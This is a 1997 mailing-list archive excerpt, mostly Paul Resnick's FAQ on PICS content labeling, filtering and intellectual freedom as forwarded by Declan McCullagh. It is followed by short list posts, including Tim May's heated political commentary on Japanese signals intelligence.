Subject: PICS and intellectual freedom FAQ

[If you care about the debate over self-labeling your web pages -- not to
mention email and Usenet posts -- read this FAQ on PICS. Thanks to Paul
for putting this together. --Declan]

---------- Forwarded message ----------
Date: Sun, 27 Jul 1997 07:36:52 -0400
From: Paul Resnick 
To: declan at well.com
Cc: lessig at pobox.com
Subject: PICS and Intellectual Freedom FAQ

7/27/97

Declan,

Given the renewed debate about the intellectual freedom implications of
rating and filtering generally, and PICS in particular, your readers may
find my FAQ on the subject enlightening. It introduces a number of useful
distinctions that seem to be missing from some recent discussion (rating
vs. filtering; self-rating vs. third-party rating; local vs. central
setting of filtering rules). There are some legitimate intellectual freedom
concerns with both rating and filtering, but it's important to get beyond
sweeping generalizations.

The URL is http://www.si.umich.edu/~presnick/pics/intfree/FAQ.htm

Paul Resnick
Associate Professor
University of Michigan
School of Information
chair, PICS Interest Group, World Wide Web Consortium

P.S. Please send comments about the FAQ to pics-ask at w3.org. Since I'll be
out of email contact for the next week, however, you should not expect an
immediate response.

---------------

Date: Mon, 28 Jul 97 15:06:10 -0400
From: Larry Lessig 
To: presnick at umich.edu, declan at well.com
Subject: Re: PICS and Intellectual Freedom FAQ

Hello Declan:

The FAQ is excellent - honest and clear, and it would help move the 
debate along well. As a strong opponent of some aspects of PICS, I hope 
you get a chance to run this.

Let me know if you get to Cambridge, 

-----------------

[I took this from http://www.si.umich.edu/~presnick/pics/intfree/FAQ.htm
-- check out that URL for links and graphics. --Declan]

                 PICS, Censorship, & Intellectual Freedom FAQ

   Paul Resnick (comments to pics-ask at w3.org)

   Draft version 1.12 last revised June 26, 1997

                                   Abstract

   The published articles describing PICS (Communications of the ACM,
   Scientific American) have focused on individual controls over the
   materials that are received on a computer. While those articles also
   mention the possibility of more centralized controls (e.g., by
   employers or governments), they describe only briefly the technical
   details and the intellectual freedom implications of such centralized
   controls. The civil liberties community has raised some alarms about
   those intellectual freedom implications. The goals for this Frequently
   Asked Questions (FAQ) document are to:
     * Clarify some technical questions about individual and centralized
       content controls based on PICS.
     * Argue that the net impact of PICS will be to shift government
       policies away from centralized controls and toward individual
       controls, although this impact may be visible only at the margins.
     * Describe how the World Wide Web Consortium (W3C) presents PICS in
       the public policy arena.

                                  Background

   In 1995, policies were proposed in several countries, including the
   USA, to restrict the distribution of certain kinds of material over
   the Internet. In many but not all cases, protection of children was
   the stated goal for such policies (see, for example, CIEC: Citizens
   Internet Empowerment Coalition).

   The focus on restricting inappropriate materials at their source is
   not well suited to the international nature of the Internet, where an
   information source may be in a different legal jurisdiction than the
   recipient. Moreover, materials may be legal and appropriate for some
   recipients but not others, so that any decision about whether to block
   at the source will be incorrect for some audiences.

   PICS, the Platform for Internet Content Selection, is a set of
   technical specifications that facilitate recipient-centered controls
   on Internet content, rather than sender-centered controls. The
   following diagram illustrates recipient-centered controls:

   [INLINE]

   Filtering software sits between a child (or any Internet user) and the
   available content. It allows access to some materials, and blocks
   access to other materials. Some filtering software directly analyzes
   content, typically looking for particular keywords. This FAQ, however,
   does not deal with that kind of software; it deals, instead, with
   filtering software that decides what to allow and what to block based
   on two information sources.
     * The first source is a set of descriptive labels that are
       associated with the materials. Those labels may be provided by
       information publishers who describe their own work, or may be
       provided by independent reviewers. A single document may have
       several labels associated with it.
     * The second information source the filter uses is a set of
       filtering rules, which say what kinds of labels to pay attention
       to, and what particular values in the labels indicate acceptable
       or unacceptable materials.

   PICS was not the first technology based on the idea of
   recipient-centered controls. For example, SurfWatch was already on the
   market in the summer of 1995 when PICS development began. It is based
   on a particularly simple set of labels: a list of URLs to avoid. As
   another example, some firewalls that corporations had introduced for
   security purposes blocked access to certain IP addresses. PICS
   provides a set of technical specifications so that pieces of the
   picture could be provided by different entities, yet still work
   together.

   The first and most important distinction that PICS introduced is a
   separation between labeling and filtering. A label describes the
   content of something. A filter makes the content inaccessible to some
   audience. While both labeling and filtering may introduce social
   concerns, the concerns are somewhat different. More generally, there
   are six roles that could all be filled by different entities:
    1. Set labeling vocabulary and criteria for assigning labels
    2. Assign labels
    3. Distribute labels
    4. Write filtering software
    5. Set filtering criteria
    6. Install/run filtering software

   PICS itself actually fills none of the six roles listed above! PICS is
   a set of technical specifications that makes it possible for these
   roles to be played by independent entities.

   For example, RSACi and SafeSurf have each defined labeling vocabulary
   and criteria for rating. They each wrote down a vocabulary in a
   machine-readable format that PICS specifies. RSACi has four categories
   in its vocabulary, language, nudity, sex, and violence; SafeSurf has
   more categories. Because they write down their vocabularies in the
   PICS format, label distribution software (e.g., from IBM and Net
   Shepherd) and filtering software (e.g., from Microsoft, IBM, and
   others) can process labels based on those vocabularies. Even though
   RSACi and SafeSurf have each specified a labeling vocabulary and
   criteria for assigning labels, neither of them actually assigns
   labels: they leave it up to the authors of documents to apply to
   criteria to their own documents, or self-label as PICS documents call
   it. Other services, such as CyberPatrol and Net Shepherd, take on both
   of the first two roles, choosing the labeling vocabulary and employing
   people to actually assign labels.

                             Questions and Answers

                               What PICS Enables

  Can PICS be used for more than just content filtering?

   Yes. While the motivation for PICS was concern over children accessing
   inappropriate materials, it is a general "meta-data" system, meaning
   that labels can provide any kind of descriptive information about
   Internet materials. For example, a labeling vocabulary could indicate
   the literary quality of an item rather than its appropriateness for
   children. Most immediately, PICS labels could help in finding
   particularly desirable materials (see, for example, NetShepherd's
   label-informed Alta Vista search), and this is the main motivation for
   the ongoing work on a next generation label format that can include
   arbitrary text strings. More generally, the W3C is working to extend
   Web meta-data capabilities generally and is applying them specifically
   in the following projects:

   Digital Signature Project
          coupling the ability to make assertions with a cryptographic
          signature block that ensures integrity and authenticity.

   Intellectual Property Rights Management
          using a meta-data system to label Web resources with respect to
          their authors, owners, and rights management information.

   Privacy (P3)
          using a meta-data system to allow sites to make assertions
          about their privacy practices, and for users to express their
          preferences for the type of interaction they want to have with
          those sites.

   Regardless of content control, meta-data systems such as PICS are
   going to be an important part of the Web, because they enable more
   sophisticated commerce (build and manage trust relationships),
   communication, indexing, and searching services.

     "The promise of digital commerce is that it will allow you to use
     the Internet to purchase the services of the best organic gardening
     advisors or mad cow disease specialists, whether they live in Santa
     Clara or Timbuktu. To do this, you need to do more than verify that
     the person at the other end of the wire is who he says he is. You
     need to assess competence, reliability, judgment. In other words,
     you need a system of branding, but applied much more widely for
     highly specialized and hard-to-evaluate services and products. You
     need value-added services that will not only lead you to the right
     product or service but also rate its quality or otherwise vouch for
     it."

     Francis Fukayama

     (Forbes ASAP 12/96 p 69)

  Does PICS enable censorship?

   This seemingly straightforward question, upon closer inspection, turns
   out to be many different questions when asked by different people.
   Many people are concerned about governments assuming one or more of
   the roles described in the answer to the previous question. Others are
   concerned about employers setting filtering rules, abuse of power by
   independent labelers, or a chilling effect on speech even if speech is
   not banned outright. People also employ different definitions of
   censorship. The most expansive definition is, "any action by one
   person that makes otherwise available information unavailable to
   another person." Under this expansive definition, even a parent
   setting filtering rules for a child would count as censorship. PICS
   documents have adopted the more restrictive definition of censorship
   as actions that limit what an individual can distribute, and use the
   term "access controls" for restrictions on what individuals can
   receive. But the distinction blurs if a central authority restricts
   access for a set of people. Finally, people have different definitions
   of "enable." Some would say that PICS enables any application that
   uses PICS-compatible components, while we reserve the term "enables"
   for applications that can easily be implemented with PICS-compatible
   components but could not be easily implemented otherwise.

   Given the variety of implicit questions, it doesn't make sense to
   provide a blanket answer to the question of whether PICS enables
   censorship. This FAQ answers many of the specific questions that
   people often mean when they ask the more general question. For
   example, we ask questions about whether PICS makes it easier or harder
   for governments to impose labeling and filtering requirements. If you
   believe there's another specific question that should be addressed,
   please send it to pics-ask at w3.org, for possible inclusion in a later
   version.

  Could governments encourage or impose receiver-based controls? Does PICS make
  it easier or harder for governments to do so?

   Yes. A government could try to assume any or all of the six roles
   described above, although some controls might be harder than others to
   enforce. As described below, governments could assume some of these
   roles even without PICS, while other roles would be harder to assume
   if PICS had not been introduced. It's important to note that W3C does
   not endorse any particular government policy. The purpose of this FAQ
   is to explain the range of potential policies and to explore some of
   the impacts of those policies on both the climate of intellectual
   freedom and the technical infrastructure of the World Wide Web.
   Potential government policies:
    1. Set labeling vocabulary and criteria. A government could impose a
       labeling vocabulary and require all publishers (in the
       government's jurisdiction) to label their own materials according
       to that vocabulary. Alternatively, a government might try to
       achieve the same effect by encouraging an industry self-policing
       organization to choose a vocabulary and require subscribers to
       label their own materials. Civil liberties advocates in Australia
       are especially concerned about this (see The Net Labeling
       Delusion). PICS makes it somewhat easier for a government to
       impose a self-labeling requirement: without PICS, a government
       would have to specify a technical format for the labels, in
       addition to specifying the vocabulary and criteria, and there
       might not be any filtering software available that could easily
       process such labels.
    2. Assign labels. A government could assign labels to materials that
       are illegal or harmful. This option is most likely to be combined
       with government requirements that such materials be filtered (see
       #5 below) but it need not be; a government could merely provide
       such labels as an advisory service to consumers, who would be free
       to set their own rules, or ignore the labels entirely. If a
       government merely wants to label, and not impose any filtering
       criteria, then PICS again provides some assistance because it
       enables a separation of labeling from filtering. On the other
       hand, a government that wishes to require filtering of items it
       labels as illegal gets little benefit from PICS as compared to
       prior technologies, as discussed below in the question about
       national firewalls.
    3. Distribute labels. A government could operate or finance operation
       of a Web server to distribute labels (a PICS label bureau); the
       labels themselves might be provided by authors or independent
       third parties. Taken on its own, this would actually contribute to
       freedom of expression, since it would make it easier for
       independent organizations to express their opinions (in the form
       of labels) and make those opinions heard. Consumers would be free
       to ignore any labels they disagreed with. Again, since PICS
       separates labeling from filtering, it enables a government to
       assist in label distribution without necessarily imposing filters.
       If combined with mandatory filtering, however, a
       government-operated or financed label bureau could contribute to
       restrictions on intellectual freedom.
    4. Write filtering software. It's unlikely that a government would
       write filtering software rather than buying it; the supplier of
       filtering software probably has little impact on intellectual
       freedom.
    5. Set filtering criteria. A government could try to impose filtering
       criteria in several ways, including government-operated proxy
       servers (a national intranet), mandatory filtering by service
       providers or public institutions (e.g., schools and libraries), or
       liability for possession of materials that have been labeled a
       particular way. In some ways, by enabling independent entities to
       take on all the other roles, PICS highlights this as the primary
       political battleground. Each national and local jurisdiction will
       rely on its political and legal process to answer difficult policy
       questions: Should there be any government-imposed controls on what
       can be received in private or public spaces? If so, what should
       those controls be? Most kinds of mandatory filters could be
       implemented without PICS. One potential policy, however, mandatory
       filtering based on labels provided by non-government sources,
       would have been difficult to impose without PICS.
    6. Install/run filters. A Government could require that filtering
       software be made available to consumers, without mandating any
       filtering rules. For example, a government could require that all
       Internet Service Providers make filtering software available to
       its customers, or that all PC browsers or operating systems
       include such software. Absent PICS, governments could have imposed
       such requirements anyway, since proprietary products such as
       SurfWatch and NetNanny are available.

  Since PICS makes it easier to implement various kinds of controls, should we
  expect there to be more such controls overall?

   Yes; all other things being equal, when the price of something drops,
   more of it will be consumed.

  Does PICS encourage individual controls rather than government controls?

   Yes; for example, a national proxy-server/firewall combination that
   blocks access to a government-provided list of prohibited sites does
   not depend on interoperability of labels and filters provided by
   different organizations. While such a setup could use PICS-compatible
   technology, a proprietary technology provided by a single vendor would
   be just as effective. Other controls, based on individual or local
   choices, benefit more from mixing and matching filtering software and
   labels that come from different sources, which PICS enables. Thus,
   there should be some substitution of individual or local controls for
   centralized controls, although it is not obvious how strong this
   substitution effect will be. In both Europe and Australia initial
   calls for centralized controls gave way to government reports calling
   for greater reliance on individual recipient controls; the end results
   of these political processes, however, are yet to be determined.

                                   Labeling

  Does it matter whether labels are applied to IP addresses or to URLs?

   An IP address identifies the location of a computer on the Internet. A
   URL identifies the location of a document. To simplify a little, a URL
   has the form http:///. A web browser first
   resolves (translates) the domain-name into an IP address. It then
   contacts the computer at that address and asks it to send the
   particular filename. Thus, a label that applies to an IP address is a
   very broad label: it applies to every document that can be retrieved
   from that machine. Labeling of URLs permits more flexibility:
   different documents or directories of documents can be given different
   labels.

   This difference of granularity will, naturally, have an impact on
   filtering. Filters based on IP addresses will be cruder: if some but
   not all of the documents available at a particular IP address are
   undesirable, the filter will have to either block all or none of those
   documents. PICS, by contrast, permits labeling of individual URLs, and
   hence permits finer grain filters as well.

Self-labeling

  Does PICS make author self-labeling more effective?

   Yes. Without a common format for labels, authors could not label
   themselves in a way that filtering programs could make use of. PICS
   provides that format.

  Does PICS make a government requirement of self-labeling more practical to
  implement?

   It enables such a requirement to have more impact. A government
   requirement of self-labeling would have little impact if the labels
   were not usable by filtering programs. PICS provides the common format
   so that filtering software from one source can use labels provided by
   other sources (authors in this case).

  Does self-labeling depend on universal agreement on a labeling vocabulary and
  criteria for assigning labels to materials?

   Although universal agreement is not necessary, there does need to be
   some harmonization of vocabulary and labeling criteria, so that labels
   provided by different authors can be meaningfully compared.

  Does PICS make it easier for governments to cooperate in imposing
  self-labeling requirements?

   Yes. PICS provides a language-independent format for expressing
   labels. If governments agreed on a common set of criteria for
   assigning labels, the criteria could be expressed in multiple
   languages, yet still be used to generate labels that can be compared
   to each other.

  Is it effective for (some) authors to label their own materials as
  inappropriate for minors? What about labeling appropriate materials?

   Both kinds of labeling could be effective, but only if a high
   percentage of the materials of a particular type are labeled. If the
   inappropriate materials are labeled, then a filter can block access to
   the labeled items. If the appropriate materials are labeled, then a
   filter can block access to all the unlabeled items.

Third-party labeling

  Can an organization I dislike label my web site without my approval?

   Yes. Anyone can create a PICS label that describes any URL, and then
   distribute that label to anyone who wants to use that label. This is
   analogous to someone publishing a review of your web site in a
   newspaper or magazine.

  Isn't there a danger of abuse if a third-party labeler gets too powerful?

   If a lot of people use a particular organization's labels for
   filtering, that organization will indeed wield a lot of power. Such an
   organization could, for example, arbitrarily assign negative labels to
   materials from its commercial or political competitors. The most
   effective way to combat this danger is to carefully monitor the
   practices of labeling services, and to ensure diversity in the
   marketplace for such services, so that consumers can stop using
   services that abuse their power.

Other Social Concerns About Labeling

  Why did PICS use the term "label", with all of its negative associations?

   PICS documents use the term "label" broadly to refer to any
   machine-readable information that describes other information. Even
   information that merely classifies materials by topic or author
   (traditional card catalog information) would qualify as labels if
   expressed in a machine-readable format. The PICS developers recognized
   that the term "label" has a narrower meaning, with negative
   connotations, for librarians and some other audiences, but it was the
   most generic term the PICS creators could find without reverting to
   technical jargon like "metadata."

   In media with centralized distribution channels, such as movies,
   labeling and filtering are not easily separated. For example, unrated
   movies are simply not shown in many theaters in the USA. In addition
   to its technical contribution, PICS makes an intellectual contribution
   by more clearly separating the ideas of labeling and filtering. Many
   of the negative connotations associated with "labeling" really should
   be associated with centralized filtering instead. There are, however,
   some subtle questions about the impact of labeling itself, as
   articulated in the next two questions.

  Does the availability of labels impoverish political discussions about which
  materials should be filtered?

   Matt Blaze (personal communication) describes this concern with an
   analogy to discussions at local school board meeting about books to be
   read in a high school English class. Ideally, the discussion about a
   particular book should focus on the contents of the book, and not on
   the contents of a review of the book, or, worse yet, a label that says
   the book contains undesirable words.

   There will always be a tradeoff, however, between speed of
   decision-making and the ability to take into account subtleties and
   context. When a large number of decisions need to be made in a short
   time, some will have to be made based on less than full information.
   The challenge for society, then, will be to choose carefully which
   decisions merit full discussion, in which case labels should be
   irrelevant, and which decisions can be left to the imperfect summary
   information that a label can provide. The following excerpt from
   Filtering the Internet summarizes this concern and the need for
   eternal vigilance:

     "Another concern is that even without central censorship, any
     widely adopted vocabulary will encourage people to make lazy
     decisions that do not reflect their values. Today many parents who
     may not agree with the criteria used to assign movie ratings still
     forbid their children to see movies rated PG-13 or R; it is too
     hard for them to weigh the merits of each movie by themselves.

     Labeling organizations must choose vocabularies carefully to match
     the criteria that most people care about, but even so, no single
     vocabulary can serve everyone's needs. Labels concerned only with
     rating the level of sexual content at a site will be of no use to
     someone concerned about hate speech. And no labeling system is a
     full substitute for a thorough and thoughtful evaluation: movie
     reviews in a newspaper can be far more enlightening than any set of
     predefined codes."

  Will the expense of labeling "flatten" speech by leaving non-commercial
  speech unlabeled, and hence invisible?

   This is indeed a serious concern, explored in detail by Jonathan
   Weinberg in his law review article, Rating the Net. The following
   excerpt from Filtering the Internet acknowledges that materials of
   limited appeal may not reach even the audiences they would appeal to,
   but argues that labeling is merely a symptom rather than a cause of
   this underlying problem:

     "Perhaps most troubling is the suggestion that any labeling system,
     no matter how well conceived and executed, will tend to stifle
     noncommercial communication. Labeling requires human time and
     energy; many sites of limited interest will probably go unlabeled.
     Because of safety concerns, some people will block access to
     materials that are unlabeled or whose labels are untrusted. For
     such people, the Internet will function more like broadcasting,
     providing access only to sites with sufficient mass-market appeal
     to merit the cost of labeling.

     While lamentable, this problem is an inherent one that is not
     caused by labeling. In any medium, people tend to avoid the unknown
     when there are risks involved, and it is far easier to get
     information about material that is of wide interest than about
     items that appeal to a small audience."

                                   Filtering

  Does PICS make national firewalls easier to implement?

   No, but an effective national firewall would make it possible for a
   government to impose PICS-based filtering rules on its citizens. A
   firewall partitions a network into two components and imposes rules
   about what information flow between the two components. The goal of a
   national firewall is to put all the computers in the country into one
   component, and all computers outside the country into the other
   component. This is difficult to do, especially if people deliberately
   try to find out connections (e.g., telephone lines) between computers
   inside the country and those outside the country. Given a successful
   partition, however, PICS could be used to implement the filtering
   rules for a firewall. In particular, the government could identify
   prohibited sites outside the country that people inside the country
   could not access; such a filtering could be implemented based on
   PICS-formatted labels or, without relying on PICS-compatible
   technology, with a simple list of prohibited URLs.

  Does PICS enable ISP compliance with government requirements that they
  prohibit access to specific URLs?

   ISP compliance with government prohibition lists is already practical,
   even without PICS. It would also be possible to comply using
   PICS-based technologies. PICS does make it easier for ISPs to comply
   with a government requirement to block access to sites labeled by
   non-governmental entities (including those that are self-labeled by
   the authors of the sites).

  Are proxy-server based implementations of PICS filters compatible with the
  principle of individual controls?

   Yes. PICS enables mixing and matching of the five roles. In
   particular, a service provider could install and run filtering
   software on a proxy server, but allow individuals to choose what
   filtering rules will be executed for each account. AOL already offers
   a primitive version of this idea, not based on PICS; parents can turn
   the preset filtering rules on or off for each member of the family.

  Are client based implementations of PICS filters usable only for individual
  controls?

   No. Governments could require the use of filters on clients. The city
   of Boston, for example, requires public schools to install a
   client-based filtering product on all computers with Internet access,
   and requires public libraries to install a client-based filtering
   product on all computers designated for children.

  Does my country have a right to filter what I see?

   W3C leaves this question to the political and legal processes of each
   country. Some people argue that unrestricted access to information is
   a fundamental human rights question that transcends national
   sovereignty. W3C has not adopted that position.

  Does my employer have a right to filter what I see?

   W3C leaves this question to the political and legal processes of each
   country.

                       W3C's Roles and Responsibilities

  How does W3C view its role in policy debates about intellectual freedom?

   W3C's mission is to "realize the full potential of the Web." The
   following two points are taken from a talk by Jim Miller at the WWW6
   conference:
     * We wish to provide tools which encourage all cultures to feel free
       to use the Web while maintaining an inter-operable network
       architecture that encourages diversity without cultural
       fragmentation or domination
     * We provide feedback to policy makers regarding what is technically
       possible, how effective the technology may be in satisfying policy
       requirements, and the possible unintended consequences of proposed
       policies

   Thus, for example, when discussing the CDA-type legislation with
   government officials in the U.S. or abroad, it is appropriate for W3C
   to point out that sender-based restrictions are not likely to be
   effective at keeping all materials of a particular kind away from
   children, and that there could be unintended consequences in terms of
   chilling free speech or keeping the Web from reaching its full
   potential as a medium for communication and cultural exchange. W3C
   does not, however, debate with government officials about their
   perceived policy requirements. For example, Germany has a policy
   requirement of restricting access to hate speech while the U.S. does
   not: W3C does not try to convince either country that the other
   country's choice of policy requirements is better.

  Why does the CACM article suggest that governments might use blocking
  technology?

   Some people(see The Net Labeling Delusion) have criticized the
   following paragraph from the CACM article on PICS:
   Not everyone needs to block reception of the same materials. Parents
       may not wish to expose their children to sexual or violentimages.
       Businesses may want to prevent their employees from visiting
       recreational sites during hours of peak network usage. Governments
       may want to restrict reception of materials that are legal in
       other countries but not in their own. The off button (or
       disconnecting from the entire Net) is too crude: there should be
       some way to block only the inappropriate material.
       Appropriateness, however, is neither an objective nor a universal
       measure. It depends on at least three factors:

   1. The supervisor: parenting styles differ, as do philosophies of
       management and government.
       2. The recipient: whats appropriate for one fifteen year old may
       not be for an eight-year-old, or even all fifteen-year-olds.
       3. The context: a game or chat room that is appropriate to access
       at home may be inappropriate at work or school.

   The main point of this section is to underscore the fact that people
   disagree about what materials are appropriate in what contexts. This
   point is illustrated at several levels of granularity: invidual
   children, organizations, and governments. The critcism focuses on the
   mention of possible government blocking, which did not appear in an
   earlier draft of the paper. We believe the example about differences
   in laws between countries is useful in explaining why there is a need
   for flexible, receiver-based controls rather than the kind of
   sender-based controls (e.g., the CDA) that most policy discussions
   were focusing on at the time.

   The objection to the use of this example rests on an argument that
   governments should never designate any content as illegal. That
   argument is not widely accepted (in the U.S., for example, "obscenity"
   laws have been deemed constitutional, even though the CDA's
   "indecency" provisions were not). A more widely held position is that
   governments should not restrict political materials as a means of
   controlling their citizens. W3C leaves discussions about which
   materials should be illegal in a particular country to the political
   realm rather than the technological realm. W3C does, however, point
   out to policy makers, however, that it's not necessary to make
   materials illegal if they are offensive to some people but not others:
   end-user controls are a more flexible method of handling such
   materials.

  Could W3C have controlled the uses of PICS by licensing the technology?

   Licensing such a technology was not considered to be a feasible option
   during the time of the CDA. Not only would it have undercut the
   "neutrality" and appeal of the technology, the W3C then would have had
   to be in the position of determining who should and should not use it;
   this is not a role the W3C is competent to play.

  Is the W3C promoting the development of PICS into proxy server products?

   Yes. W3C is pleased that IBM has introduced a proxy server that can
   filter based on PICS labels, and encourages the development of other
   PICS-compatible servers. As discussed above, filter processing can be
   centralized at a proxy server while still permitting individuals to
   choose the filtering rules.

  What can I do now to promote uses of PICS that promote, rather than harm,
  intellectual freedom?

   In addition to acting in the political arena, it would probably be
   helpful to implement positive uses of labels, such as searching
   applications. It is surpassingly difficult for people unfamiliar with
   computers to imagine new applications. By building prototypes and
   demonstrating them, it may be possible to focus policy-makers'
   energies on those uses of technology that accord with your political
   values.

  What else can I read about labeling, filtering, and intellectual freedom?

    Governments

     * Australian Broadcast Authority report on its investigation into
       on-line services
     * European Parliament Green Paper: the Protection of Minors and
       Human Dignity in Audiovisual and Information Services
     * European Union Communication on illegal and harmful content on the
       Internet
     * Report of European Commission Working party on illegal and harmful
       content on the internet
     * Working Party Report
     * European Commission Forum for Exchange of Information on Internet
       Best Practices
     * Singapore Internet Regulations

    Media

     * Good Clean PICS: The most effective censorship technology the Net
       has ever seen may already be installed on your desktop (Simson
       Garfinkel in HotWired: February 1997)
     * Labels and Disclosure - Release 1.0 by Esther Dyson
     * MSNBC four-part series (October 1996)
          + Part 1: Censorship debate focuses on filters
          + Part 2: PICS adds new dimension to Web
          + Part 3: Internet watchdogs split over PICS
          + Part 4: Filters aren't a black-and-white issue

    Other Organizations

     * EFF: Public Interest Principles for Online Filtration, Ratings and
       Labeling Systems
     * CIEC: Citizens Internet Empowerment Coalition
     * ACLU CyberLiberties Campaign
     * ALA white paper (need link)

    Individuals

     * Rating the Net. Jonathan Weinberg. Hastings Communications and
       Entertainment Law Journal, Vol. 19, No. 2, pp. 453-482. (A
       balanced but critical academic's look at rating systems and their
       legal and social impact.)
     * The Campaign for Internet Freedom (anti-labeling/filtering web
       site in UK)
     * The Net Labeling Delusion (anti-labeling/filtering web site in
       Australia)
     * Fight-censorship mailing lists (Declan McCullagh's moderated and
       unmoderated lists; occasional discussion of PICS and related
       technologies).

From rwright at adnetsol.com  Sun Aug  3 10:32:56 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Mon, 4 Aug 1997 01:32:56 +0800
Subject: spam is good for you
Message-ID: <199708031725.KAA04724@adnetsol.adnetsol.com>

> : slogan so far is "I may disagree with every spam you send, but : I
> will defend to the death your right to spam it. --Voltaire".

I need one.  I've got a few sources for 3x - 5x shirts.  Let me know 
if you need those sources.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795

From tcmay at got.net  Sun Aug  3 10:37:07 1997
From: tcmay at got.net (Tim May)
Date: Mon, 4 Aug 1997 01:37:07 +0800
Subject: Tim Speaks the Truth / Re: Joichi Ito as a Junior Policeman
In-Reply-To: <199708031231.VAA00231@eccosys.com>
Message-ID: 

Unlike "Toto," who claims to be "Truthmonger," I speak the truth.

At 5:12 AM -0700 8/3/97, Joichi Ito wrote:

>so they probably are pretty militaristic), Japan does not have the
>equivalent of the NSA. It really is in Japanese national security interests

And what of Chobetsu?

Cf. Richelson's books on the world's intelligence agencies for discussion
of Japan's version of the NSA.

I also had a discussion with an NHK crew about Chobetsu and the coopeative
spying arrangements at the USAF base at Misawa. The NHK folks seemed to get
nervious at what I was openly discussing with them, and averred that such
things are rarely spoken of in Japan, at least not as openly as I was
speaking of them. (I showed them the sections Richelson had on Misawa, and
Seymour Hersh's revelations about the 6920th and the Naval Security Group,
Task Force 59, and complicity in the offing of Gough Whitlam of Australia.)

Wise up, Joichi. You live in society more totalitarian than anything we
fear. Japanese citizen-units under video surveillance and afraid to speak
out. And surveillance and espionage technology deployed by your fascist
governmet--a term I mean literally, not casually--will worsen things
dramatically.

The only "cooperation" with them is to seek their annihilation.

And nothing but mischief will come out any meetings with government on
"crypto policy," as their goals can never be our goals. At least in the
U.S., despite obvious flaws, we have a "Congress shall make no law"
provision which _tends_ to make government meddling in speech, such as
meddling in crypto, more difficult.

--Tim May

>to consider minimizing risk by distributing it since they obviously do not
>have the ability to control it in the way that the US does. Anyone who
>has been following the statements by the Japanese at the OECD should
>note that Japan has alway lagged behind in supporting government control
>of crypto. In addition (although this article is very seldom sited in actual
>cases) the Japanese constitution provides for privacy of communications
>for citizens. Also, most of the crypto technology is held in private
>companies.
>
>Really, what I am try to do is two things:
>
>1) Make sure that Japan makes the right decision about crypto policy so
>that they do no stifle commercial development of crypto or put at risk
>national and individual security/privacy by implementing a weak system because
>of political pressure or domestic surveilance requirements.
>
>2) Make sure that Japan does not repeat the US "Hacker Crackdown" and
>more recent Australian crackdowns which I think can cause a rift between
>hackers and society. Right now I think the risk of weak security from
>the point of view of IWar and just plain network failure is much more
>important
>than cracking down on hackers/crackers. I'm trying to head off such
>"crackdown"
>movements by trying to put threats and risks into perspective at the National
>Security level and take the focus away from the activities of hackers who
>I think can help improve security and lower risks in the long term.
>
>As for Tim's message... I keep worrying (when I am in Japan) that I'm too
>radical, so it's nice to hear from someone who is really hardcore to put
>a wimp like me in my place. ;-P
>
>I guess I still believe in trying to redirect the process of government before
>"dropping out"... I'm not making it any easier for the "bad guys" giving them
>my opinion and I can alway "drop out" when I think no one's listening
>anymore...
>
>Anyway, I'm going to stop writing now before all of the government people
>reading this list decide to put me in their kill file. Then no one will be
>listening
>to me. ;-P
>
>
>- Joi
>
>P.S. I wrote an article in the Daily Yomiuri about a year ago that outlines
>where I am coming from. Please take a look if you are interested. The
>Daily Yomiuri is a national Japanese newspaper.
>
>
>--
>Finger jito at nsm.eccosys.com or jito at garage.co.jp for PGP Key
>Fingerprint for RSA PGP Key ID 0x0EE23A2D
>0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
>Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
>58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
>Home Page: http://domino.garage.co.jp/jito/joihome.nsf
>To subscribe to my personal mailing list send mailto:friends-subscribe at ito.com

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From tcmay at got.net  Sun Aug  3 13:11:01 1997
From: tcmay at got.net (Tim May)
Date: Mon, 4 Aug 1997 04:11:01 +0800
Subject: Tim Speaks the Truth / Re: Joichi Ito as a Junior Policeman
In-Reply-To: <199708031231.VAA00231@eccosys.com>
Message-ID: 

To follow-up on my comments about Chobetsu, the Japanese SIGINT/COMINT
agency, there's a wealth of information in various places. In addition to
the books by Richelson and Hersh that I mentioned, Web searches reveal a
bunch of stuff. (And my own Cyphernomicon, now 3 years old, has material on
it, too.)

At 10:31 AM -0700 8/3/97, Tim May wrote:

>At 5:12 AM -0700 8/3/97, Joichi Ito wrote:
>
>>so they probably are pretty militaristic), Japan does not have the
>>equivalent of the NSA. It really is in Japanese national security interests
>
>And what of Chobetsu?
>
>Cf. Richelson's books on the world's intelligence agencies for discussion
>of Japan's version of the NSA.
>
>I also had a discussion with an NHK crew about Chobetsu and the coopeative
>spying arrangements at the USAF base at Misawa. The NHK folks seemed to get
>nervious at what I was openly discussing with them, and averred that such
>things are rarely spoken of in Japan, at least not as openly as I was
>speaking of them. (I showed them the sections Richelson had on Misawa, and
>Seymour Hersh's revelations about the 6920th and the Naval Security Group,
>Task Force 59, and complicity in the offing of Gough Whitlam of Australia.)

In Japan it is apparently the despised "anarchist" organizations which are
active in exposing the extent of COMINT surveillance of Japanese
corporations and citizens, so the nervousness of the NHK crew is
understandable. Being linked in any way to the Aum cult is a serious matter
in an "anti-terrorism" and "anti-anarchist" regime.

Here's an interesting article from: http://www.twics.com/~anzu/14-JCIA.html

My comments or emphasis are in .

--begin quoted material--
By

>From Tokyo Observer x

It is not yet clear why information was leaked to the New York Times,
once in October 1994, and a second time one year later, revealing facts
concerning CIA involvement in Japanese politics and in trade talks
between the two countries. What is clear, however, is that one of the
major end results of the CIA leaks, whether intentional or not, may be
a strengthening of the Japanese intelligence apparatus. For example, in
response to the second report, an anonymous Japanese foreign
ministry official told the Daily Yomiuri that it was not surprising that
the U.S. had spied on Japan because there was no anti-spying
legislation in Japan. Such moves to strengthen the intelligence
apparatus are not new, of course, but they have become much more
forceful in recent years. In October, 1994, soon after the first CIA
leak, two articles appeared nearly simultaneously in the Japan Times
